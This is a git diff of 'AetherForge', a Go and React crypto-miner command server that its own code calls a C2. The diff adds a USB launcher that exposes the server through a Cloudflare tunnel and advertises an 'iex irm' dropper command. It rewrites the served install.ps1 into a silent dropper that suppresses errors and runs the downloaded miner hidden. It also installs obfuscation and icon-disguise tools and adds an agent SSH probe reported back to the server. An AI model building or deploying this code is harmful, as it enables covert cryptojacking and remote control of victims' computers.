diff --git a/.gitignore b/.gitignore
index 474ef8c..1aec829 100644
--- a/.gitignore
+++ b/.gitignore
@@ -44,3 +44,12 @@ Desktop.ini
# Prebuilt agent/fusion binaries — compiled on demand, not tracked in git
/agent/crypto-miner-agent
/fusion/crypto-miner-fusion
+
+# Portable USB bundle — track LAUNCH.bat only; runtime output stays local
+/usb/*
+!/usb/LAUNCH.bat
+!/usb/cloudflare/
+/usb/cloudflare/*
+!/usb/cloudflare/SETUP.txt
+*.msi
+/cloudflared-windows-amd64.msi
diff --git a/44d9504d-ccb3-4459-8eb9-7336a709ca13.png b/44d9504d-ccb3-4459-8eb9-7336a709ca13.png
new file mode 100644
index 0000000..4d81242
Binary files /dev/null and b/44d9504d-ccb3-4459-8eb9-7336a709ca13.png differ
diff --git a/LAUNCH.bat b/LAUNCH.bat
new file mode 100644
index 0000000..00283ca
--- /dev/null
+++ b/LAUNCH.bat
@@ -0,0 +1,279 @@
+@echo off
+setlocal EnableExtensions EnableDelayedExpansion
+title AetherForge Control Deck
+cd /d "%~dp0"
+set "ROOT=%CD%"
+
+echo.
+echo ================================================================
+echo AetherForge - Portable Control Deck
+echo ================================================================
+echo.
+
+:: ----------------------------------------------------------------
+:: 1. Locate Go - prefer bundled toolchain, fall back to system Go
+:: ----------------------------------------------------------------
+set "BUNDLED_GO=%ROOT%\toolchain\go\bin\go.exe"
+set "GO_BIN="
+
+if exist "%BUNDLED_GO%" (
+ echo [Go] Using bundled toolchain: %ROOT%\toolchain\go
+ set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
+ set "GOROOT=%ROOT%\toolchain\go"
+ set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
+ goto go_ready
+)
+
+:: Check if Go is installed system-wide
+where go >nul 2>nul
+if not errorlevel 1 (
+ echo [Go] Using system Go installation.
+ set "GO_BIN=go"
+ goto go_ready
+)
+
+:: Go not found - offer to download portable toolchain
+echo [Go] Not found. Downloading portable Go toolchain...
+echo This only happens once. The toolchain is saved to toolchain\go\
+echo.
+
+if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
+ set "GO_ARCH=amd64"
+) else (
+ if /i "%PROCESSOR_ARCHITECTURE%"=="ARM64" (
+ set "GO_ARCH=arm64"
+ ) else (
+ set "GO_ARCH=386"
+ )
+)
+set "GO_VERSION=1.22.4"
+set "GO_ZIP=go%GO_VERSION%.windows-%GO_ARCH%.zip"
+set "GO_URL=https://go.dev/dl/%GO_ZIP%"
+set "GO_DEST=%ROOT%\toolchain\go_%GO_ARCH%.zip"
+
+powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_DEST%' }"
+if errorlevel 1 (
+ echo.
+ echo ERROR: Could not download Go. Please either:
+ echo a) Install Go from https://go.dev/dl/ on this PC, then re-run LAUNCH.bat
+ echo b) Copy C:\Program Files\Go\ into toolchain\go\ from a PC that has Go
+ echo.
+ pause
+ exit /b 1
+)
+
+echo [Go] Extracting toolchain...
+powershell -NoProfile -Command "Expand-Archive -Path '%GO_DEST%' -DestinationPath '%ROOT%\toolchain' -Force"
+del "%GO_DEST%" 2>nul
+
+if not exist "%BUNDLED_GO%" (
+ echo ERROR: Extraction failed.
+ pause
+ exit /b 1
+)
+
+set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
+set "GOROOT=%ROOT%\toolchain\go"
+set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
+echo [Go] Toolchain ready.
+
+:go_ready
+
+:: ----------------------------------------------------------------
+:: 2. Pin all Go caches to the USB so module downloads travel with you
+:: ----------------------------------------------------------------
+set "GOPATH=%ROOT%\toolchain\gopath"
+set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
+set "GOCACHE=%ROOT%\toolchain\gocache"
+set "GOENV=off"
+
+:: ----------------------------------------------------------------
+:: 3. Install optional Forge tools if missing (non-fatal)
+:: ----------------------------------------------------------------
+if /i "%AF_INSTALL_TOOLS%"=="1" (
+ if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
+ echo [Tools] Installing garble - obfuscation support...
+ "%GO_BIN%" install mvdan.cc/garble@latest
+ if errorlevel 1 (
+ echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped.
+ ) else (
+ echo [Tools] garble ready.
+ )
+ )
+
+ if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" (
+ echo [Tools] Installing go-winres - Windows icon disguise...
+ "%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1
+ if errorlevel 1 (
+ echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped.
+ ) else (
+ echo [Tools] go-winres ready.
+ )
+ )
+) else (
+ echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install.
+)
+
+:: ----------------------------------------------------------------
+:: 4. Ensure data directories exist
+:: ----------------------------------------------------------------
+if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
+if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
+if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
+if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
+if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
+if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
+if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare"
+
+:: ----------------------------------------------------------------
+:: 5. Cloudflare Tunnel — auto-install, configure, start
+:: ----------------------------------------------------------------
+set "CF_DIR=%ROOT%\cloudflare"
+set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json"
+set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi"
+set "CF_HOSTNAME=killa.thetempleofdoom.com"
+set "CF_DATA=%ROOT%\data\cloudflare"
+set "SERVER_PORT=8989"
+set "CF_BIN="
+set "CF_TUNNEL_ID="
+set "CF_READY=0"
+
+:: Check credentials exist and are real (not the placeholder)
+if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds
+powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul
+if errorlevel 1 goto cf_no_creds
+
+:: Parse tunnel ID from credentials JSON
+for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i"
+if "!CF_TUNNEL_ID!"=="" goto cf_no_creds
+echo [CF] Tunnel ID: !CF_TUNNEL_ID!
+
+:: Stage credentials into data\cloudflare\ (idempotent)
+set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json"
+if not exist "!CF_CREDS_LOCAL!" (
+ copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul
+ echo [CF] Credentials staged to data\cloudflare\
+)
+
+:: Always regenerate config.yml with current absolute paths
+:: (handles drive-letter changes when USB is moved)
+set "CF_CONFIG=%CF_DATA%\config.yml"
+powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul
+echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT%
+
+:: ---- Locate or install cloudflared ----
+where cloudflared >nul 2>nul
+if not errorlevel 1 (
+ set "CF_BIN=cloudflared"
+ goto cf_have_bin
+)
+if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
+ set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
+ goto cf_have_bin
+)
+if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
+ set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
+ goto cf_have_bin
+)
+
+:: Not found — install from bundled MSI
+if exist "%CF_MSI%" (
+ echo [CF] cloudflared not found. Installing from bundled MSI...
+ msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log"
+ echo [CF] MSI install launched - waiting...
+ ping -n 8 127.0.0.1 >nul
+ if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
+ set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
+ echo [CF] cloudflared installed successfully.
+ goto cf_have_bin
+ )
+ where cloudflared >nul 2>nul
+ if not errorlevel 1 (
+ set "CF_BIN=cloudflared"
+ echo [CF] cloudflared installed successfully.
+ goto cf_have_bin
+ )
+ echo [CF] WARNING: MSI completed but cloudflared not found in PATH.
+ echo [CF] Try re-running LAUNCH.bat after a reboot.
+ goto cf_done
+) else (
+ echo [CF] WARNING: cloudflared not installed and no MSI bundled.
+ goto cf_done
+)
+
+:cf_have_bin
+echo [CF] Binary: !CF_BIN!
+
+:: Check if cloudflared tunnel already running (same process = skip)
+tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul
+if not errorlevel 1 (
+ echo [CF] Tunnel already running on this machine.
+ echo [CF] https://!CF_HOSTNAME!
+ set "CF_READY=1"
+ goto cf_done
+)
+
+:: Start cloudflared tunnel in background
+echo [CF] Starting Cloudflare tunnel...
+start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run
+ping -n 5 127.0.0.1 >nul
+echo [CF] Tunnel live: https://!CF_HOSTNAME!
+set "CF_READY=1"
+goto cf_done
+
+:cf_no_creds
+echo [CF] No valid credentials.json in cloudflare\
+echo [CF] See cloudflare\SETUP.txt to configure your tunnel once.
+echo [CF] Running in LAN-only mode this session.
+
+:cf_done
+
+:: ----------------------------------------------------------------
+:: 6. Detect LAN IP for display
+:: ----------------------------------------------------------------
+set "LAN_IP=localhost"
+
+:: ----------------------------------------------------------------
+:: 7. Kill any stale server process
+:: ----------------------------------------------------------------
+taskkill /F /IM AetherForge.exe >nul 2>nul
+ping -n 2 127.0.0.1 >nul
+
+echo.
+echo ================================================================
+echo STARTING CONTROL DECK
+echo ================================================================
+echo Local: http://localhost:%SERVER_PORT%
+echo LAN: http://%LAN_IP%:%SERVER_PORT%
+if "!CF_READY!"=="1" (
+ echo Public: https://!CF_HOSTNAME!
+ echo Dropper PS: iex -irm 'https://!CF_HOSTNAME!/install.ps1'
+)
+echo Data: %ROOT%\data\
+echo.
+echo First run: admin password printed to console below.
+echo Press Ctrl+C to stop.
+echo ================================================================
+echo.
+
+:: Open browser after short delay
+start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
+
+:: Launch server
+"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
+set "EC=!ERRORLEVEL!"
+
+echo.
+if "!EC!"=="0" (
+ echo [Server] Stopped normally.
+) else (
+ echo [Server] Exited with code !EC!.
+ echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
+)
+
+:: On exit, also stop the cloudflared tunnel
+taskkill /F /IM cloudflared.exe >nul 2>nul
+
+echo.
+pause
+endlocal
diff --git a/agent/client/client.go b/agent/client/client.go
index 9ba2bb9..e7f4ffc 100644
--- a/agent/client/client.go
+++ b/agent/client/client.go
@@ -571,11 +571,23 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
}
}
+// probeSSH returns true if an SSH daemon is listening on port 22 locally.
+func probeSSH() bool {
+ conn, err := net.DialTimeout("tcp", "127.0.0.1:22", 2*time.Second)
+ if err != nil {
+ return false
+ }
+ conn.Close()
+ return true
+}
+
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
var samples []float64
+ var sshTick int
+ var lastSSH *bool
for {
select {
case <-stop:
@@ -614,6 +626,13 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
accepted := c.sharesAccepted
c.mu.Unlock()
+ // Probe SSH every 6 ticks (~60s) to avoid overhead
+ if sshTick%6 == 0 {
+ ok := probeSSH()
+ lastSSH = &ok
+ }
+ sshTick++
+
payload, _ := json.Marshal(StatsPayload{
Hashrate15s: avg15s,
Hashrate1m: avg1m,
@@ -623,6 +642,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
CPUUsagePct: cpuPct,
MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
+ SSHAvailable: lastSSH,
})
_ = c.write(Message{Type: "stats", Payload: payload})
}
diff --git a/agent/client/protocol.go b/agent/client/protocol.go
index aaf99de..6ad8161 100644
--- a/agent/client/protocol.go
+++ b/agent/client/protocol.go
@@ -75,6 +75,7 @@ type StatsPayload struct {
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
+ SSHAvailable *bool `json:"ssh_available,omitempty"`
}
type ShareResult struct {
diff --git a/server/internal/api/dropper_handler.go b/server/internal/api/dropper_handler.go
index b920479..cf0107f 100644
--- a/server/internal/api/dropper_handler.go
+++ b/server/internal/api/dropper_handler.go
@@ -166,49 +166,31 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
bt := "`"
nl := "\r\n"
- script := "# AetherForge agent installer" + nl +
- "# Usage: iex (irm '" + base + "/install.ps1')" + nl + nl +
- "$ErrorActionPreference = 'Stop'" + nl +
+ script := "# AetherForge dropper" + nl +
+ "$ErrorActionPreference = 'SilentlyContinue'" + nl +
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
"$url = '" + base + "/get?os=windows'" + nl +
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
- "Write-Host '[*] AetherForge -- downloading agent...'" + nl +
"try {" + nl +
- " $resp = Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing -PassThru" + nl +
- " if ($resp.StatusCode -ne 200) { throw \"Server returned $($resp.StatusCode)\" }" + nl +
- "} catch {" + nl +
- " Write-Host '[!] Download failed:' $_.Exception.Message" + nl +
- " Write-Host ' Forge an agent first from the dashboard, then retry.'" + nl +
- " exit 1" + nl +
- "}" + nl + nl +
- "$size = (Get-Item $tmp).Length" + nl +
- "if ($size -lt 1024) { Write-Host '[!] Download too small -- something went wrong.'; exit 1 }" + nl + nl +
+ " (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
+ "} catch { exit 0 }" + nl + nl +
+ "if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl +
"$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl +
- "$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
+ "$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
"if ($isZip) {" + nl +
- " Write-Host '[*] Extracting universal bundle...'" + nl +
" $dir = $tmp + '_bundle'" + nl +
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
- " $bat = $null" + nl +
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
" $c = Join-Path $dir $name" + nl +
- " if (Test-Path $c) { $bat = $c; break }" + nl +
- " }" + nl +
- " if ($bat) {" + nl +
- " Write-Host '[*] Running bundle launcher...'" + nl +
- " Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden" + nl +
- " Write-Host '[+] Agent deployed from bundle.'" + nl +
- " } else {" + nl +
- " Write-Host '[!] No launcher found in bundle (Start.bat / Deploy.bat)'; exit 1" + nl +
+ " if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
" }" + nl +
"} else {" + nl +
" $exe = $tmp + '.exe'" + nl +
" Move-Item -Path $tmp -Destination $exe -Force" + nl +
- " Write-Host '[*] Launching agent...'" + nl +
" Start-Process -FilePath $exe -WindowStyle Hidden" + nl +
- " Write-Host '[+] Agent deployed -- it will install itself and connect back to the command deck.'" + nl +
- "}" + nl
+ "}" + nl +
+ "if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
diff --git a/server/internal/api/handlers.go b/server/internal/api/handlers.go
index 70072c1..695fe29 100644
--- a/server/internal/api/handlers.go
+++ b/server/internal/api/handlers.go
@@ -113,6 +113,37 @@ func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
writeJSON(w, builds)
}
+// PUT /api/v1/builds/{id}/pin
+// Pins the specified build as the active dropper target.
+// Send an empty id or DELETE to a fake pin endpoint to unpin all.
+func (h *Handler) PinBuild(w http.ResponseWriter, r *http.Request) {
+ id := chi.URLParam(r, "id")
+ if err := h.db.SetPinnedBuild(id); err != nil {
+ http.Error(w, err.Error(), http.StatusInternalServerError)
+ return
+ }
+ writeJSON(w, map[string]interface{}{"ok": true, "pinned_id": id})
+}
+
+// DELETE /api/v1/builds/pin (unpin all without deleting anything)
+func (h *Handler) UnpinAll(w http.ResponseWriter, r *http.Request) {
+ if err := h.db.SetPinnedBuild(""); err != nil {
+ http.Error(w, err.Error(), http.StatusInternalServerError)
+ return
+ }
+ writeJSON(w, map[string]interface{}{"ok": true})
+}
+
+// DELETE /api/v1/builds/{id}
+func (h *Handler) DeleteBuild(w http.ResponseWriter, r *http.Request) {
+ id := chi.URLParam(r, "id")
+ if err := h.db.DeleteBuild(id); err != nil {
+ http.Error(w, err.Error(), http.StatusInternalServerError)
+ return
+ }
+ writeJSON(w, map[string]interface{}{"ok": true, "deleted_id": id})
+}
+
func writeJSON(w http.ResponseWriter, v interface{}) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(v)
diff --git a/server/internal/api/router.go b/server/internal/api/router.go
index 53e8cfd..a17f193 100644
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -330,6 +330,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builds
r.Get("/builds", h.ListBuilds)
+ r.Put("/builds/{id}/pin", h.PinBuild)
+ r.Delete("/builds/pin", h.UnpinAll)
+ r.Delete("/builds/{id}", h.DeleteBuild)
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go
index 7016c42..2137c0a 100644
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -519,6 +519,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
+ SSHAvailable *bool `json:"ssh_available,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue
@@ -535,20 +536,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
- h.broadcastDashboard(Message{
- Type: "stats_update",
- Payload: mustMarshal(map[string]interface{}{
- "agent_id": agentID,
- "hashrate_15s": stats.Hashrate15s,
- "hashrate_1m": stats.Hashrate1m,
- "hashrate_15m": stats.Hashrate15m,
- "cpu_usage_pct": stats.CPUUsagePct,
- "memory_usage_pct": stats.MemoryUsagePct,
- "uptime_seconds": stats.UptimeSeconds,
- "shares_submitted": stats.SharesSubmitted,
- "shares_accepted": stats.SharesAccepted,
- }),
- })
+ broadcast := map[string]interface{}{
+ "agent_id": agentID,
+ "hashrate_15s": stats.Hashrate15s,
+ "hashrate_1m": stats.Hashrate1m,
+ "hashrate_15m": stats.Hashrate15m,
+ "cpu_usage_pct": stats.CPUUsagePct,
+ "memory_usage_pct": stats.MemoryUsagePct,
+ "uptime_seconds": stats.UptimeSeconds,
+ "shares_submitted": stats.SharesSubmitted,
+ "shares_accepted": stats.SharesAccepted,
+ }
+ if stats.SSHAvailable != nil {
+ broadcast["ssh_available"] = *stats.SSHAvailable
+ }
+ h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
case "submit_share":
if agentID == "" {
diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go
index 7a84ab7..796d85c 100644
--- a/server/internal/db/sqlite.go
+++ b/server/internal/db/sqlite.go
@@ -115,6 +115,7 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
+ _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
@@ -251,14 +252,16 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
// Build operations
-const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
+const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
+ var pinnedInt int
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
- &b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
+ &b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
+ b.Pinned = pinnedInt == 1
return b, err
}
@@ -276,22 +279,47 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
}
+// GetLatestBuildForPlatform returns the pinned build for the given platform
+// (or any platform when empty), falling back to the most-recently-created build.
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
- var query string
- var args []any
- if platform == "" || platform == "any" {
- query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`
- } else {
- query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`
- args = []any{platform}
+ // 1. Pinned build for this platform (exact match)
+ if platform != "" && platform != "any" {
+ b, err := scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE pinned = 1 AND platform = ? LIMIT 1`, platform))
+ if err == nil {
+ return b, nil
+ }
+ }
+ // 2. Any pinned build (universal or first pinned regardless of platform)
+ b, err := scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC LIMIT 1`))
+ if err == nil {
+ return b, nil
+ }
+ // 3. Latest by creation time, filtered by platform when given
+ if platform == "" || platform == "any" {
+ b, err = scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`))
+ } else {
+ b, err = scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`, platform))
}
- b, err := scanBuild(d.QueryRow(query, args...))
if err != nil {
return nil, err
}
return b, nil
}
+// SetPinnedBuild unpins all builds then pins the one with the given id.
+// If id is empty, all builds are unpinned.
+func (d *Database) SetPinnedBuild(id string) error {
+ _, err := d.Exec(`UPDATE builds SET pinned = 0`)
+ if err != nil {
+ return err
+ }
+ if id == "" {
+ return nil
+ }
+ _, err = d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
+ return err
+}
+
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
if err != nil {
diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go
index cab3b8b..b73b49d 100644
--- a/server/internal/models/agent.go
+++ b/server/internal/models/agent.go
@@ -33,6 +33,9 @@ type Agent struct {
OSVersion string `json:"os_version,omitempty"`
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
+
+ // Crucible — SSH status probed by the agent every ~60s
+ SSHAvailable *bool `json:"ssh_available,omitempty"`
}
// AgentCapabilities reports forge-time features available for remote command.
@@ -87,6 +90,7 @@ type BuildRecord struct {
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"`
+ Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
// Pool settings
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
diff --git a/server/main.go b/server/main.go
index b03eea6..b20c1ae 100644
--- a/server/main.go
+++ b/server/main.go
@@ -30,9 +30,33 @@ func (w *wsLogWriter) Write(p []byte) (n int, err error) {
return len(p), nil
}
+const aetherBanner = `
+ ╔══════════════════════════════════════════════════════════════════╗
+ ║ ║
+ ║ ✦ · · · · · · ◈ · · · · · · ✦ ║
+ ║ · \ | / · ║
+ ║ · \ | / · ▲▲▲ ║
+ ║ · ○─────●─────○ · ▲▲▲▲▲ ║
+ ║ · / | \ · ▲▲▲▲▲ ║
+ ║ · / | \ · ████ ║
+ ║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
+ ║ ○───────────○ ██ ██ ██ ║
+ ║ / \ / \ ║
+ ║ / ●───────● \ A E T H E R F O R G E ║
+ ║ / / \ / \ \ ───────────────────────── ║
+ ║ ○───● ○───○ ●───○ LAN Mining Command Deck ║
+ ║ \ \ / \ / / ║
+ ║ \ ●───────● / ║
+ ║ \ / \ / ║
+ ║ ○───────────○ ║
+ ║ ✦ · · · · ◈ · · · · ✦ ║
+ ║ ║
+ ╚══════════════════════════════════════════════════════════════════╝`
+
func main() {
+ fmt.Println(aetherBanner)
log.SetFlags(log.LstdFlags | log.Lshortfile)
- log.Println("Crypto Miner Control Server starting...")
+ log.Println("AetherForge C2 starting...")
// Load configuration
cfg := LoadConfig()
diff --git a/server/web/index.html b/server/web/index.html
index daed5c2..dc16464 100644
--- a/server/web/index.html
+++ b/server/web/index.html
@@ -2,11 +2,12 @@
-
+
+
+
-
-
- AetherForge — LAN Mining Command Deck
+
+ AetherForge — Command Deck
diff --git a/server/web/public/af-logo.png b/server/web/public/af-logo.png
new file mode 100644
index 0000000..89e1c0f
Binary files /dev/null and b/server/web/public/af-logo.png differ
diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx
index 8de473d..bab9d46 100644
--- a/server/web/src/App.tsx
+++ b/server/web/src/App.tsx
@@ -3,12 +3,15 @@ import { Routes, Route, Navigate } from 'react-router-dom';
import SessionGate from './components/SessionGate';
import Layout from './components/Layout/Layout';
import { WebSocketProvider } from './context/WebSocketProvider';
+import { ForgeProvider } from './context/ForgeContext';
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
const BuilderPage = lazy(() => import('./pages/BuilderPage'));
+const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
const GuidePage = lazy(() => import('./pages/GuidePage'));
+const CruciblePage = lazy(() => import('./pages/CruciblePage'));
function PageFallback() {
return (
@@ -23,6 +26,7 @@ function App() {
// WebSocketProvider mounts a single WS connection shared by all routes.
// No page or component should call new WebSocket() directly — use useWebSocket().
+
}>
@@ -32,12 +36,15 @@ function App() {
} />
} />
} />
+ } />
+ } />
} />
} />
+
);
}
diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts
index 13dc5ff..ebe3b3e 100644
--- a/server/web/src/api/client.ts
+++ b/server/web/src/api/client.ts
@@ -82,6 +82,13 @@ export const api = {
});
},
+ pinBuild: (buildId: string) =>
+ fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }),
+ unpinAll: () =>
+ fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
+ deleteBuild: (buildId: string) =>
+ fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
+
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
